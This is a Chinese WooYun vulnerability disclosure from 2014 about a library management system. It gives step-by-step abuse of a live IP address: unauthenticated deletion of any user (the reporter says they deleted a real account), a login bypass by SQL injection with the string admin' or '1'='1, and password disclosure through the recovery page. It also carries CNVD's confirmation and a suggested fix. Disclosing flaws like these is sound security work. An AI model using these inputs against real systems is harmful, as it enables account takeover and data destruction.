当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061740

漏洞标题:某通用图书馆系统万能密码登录+删除任意用户+获取任意用户密码(无需登录)

相关厂商:盛大天方科技有限公司

漏洞作者: what_news

提交时间:2014-05-22 23:29

修复时间:2014-08-20 23:30

公开时间:2014-08-20 23:30

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-22: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-05-30: 细节向第三方安全合作伙伴开放
2014-07-21: 细节向核心白帽子及相关领域专家公开
2014-07-31: 细节向普通白帽子公开
2014-08-10: 细节向实习白帽子公开
2014-08-20: 细节向公众公开

简要描述:

补充啊

详细说明:

漏洞一 任意用户删除
无需登录
访问

http://61.136.150.170:8090/user/user_admin.aspx


523.png


看到那个用户不舒服就可以直接删除了

http://wooyun.org/bugs/wooyun-2010-061673

里面说的一个testmyme 密码123已经被我删除了
测试的时候也可以自己注册一个用户 然后访问这个页面进行删除 无需登录
漏洞二 万能密码登录

http://61.136.150.170:8090/default.aspx


账号输入 admin' or '1'='1 密码随便输入a就可以登录admin账号了

5231.png


漏洞三获取任意用户密码
结合

http://wooyun.org/bugs/wooyun-2010-061673


我们可以访问用户任意信息
现在访问

http://61.136.150.170:8090/user/user_info.aspx?id=1


可获取到账号名 admin 邮箱 [email protected]
接着我们访问

http://61.136.150.170:8090/user/user_forgetpwd.aspx


分别输入 admin和[email protected] 点击按钮密码就出来了

5232.png


5233.png


漏洞证明:

漏洞证明如上

修复方案:

对权限进行设置 对登录参数进行处理

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-05-27 13:37

厂商回复:

CNVD确认并复现所述情况,由CNVD通过公开联系渠道向中国版本图书馆网站管理单位通报,电话至010-(技术电话),将通报发送至邮箱中处置。

最新状态:

暂无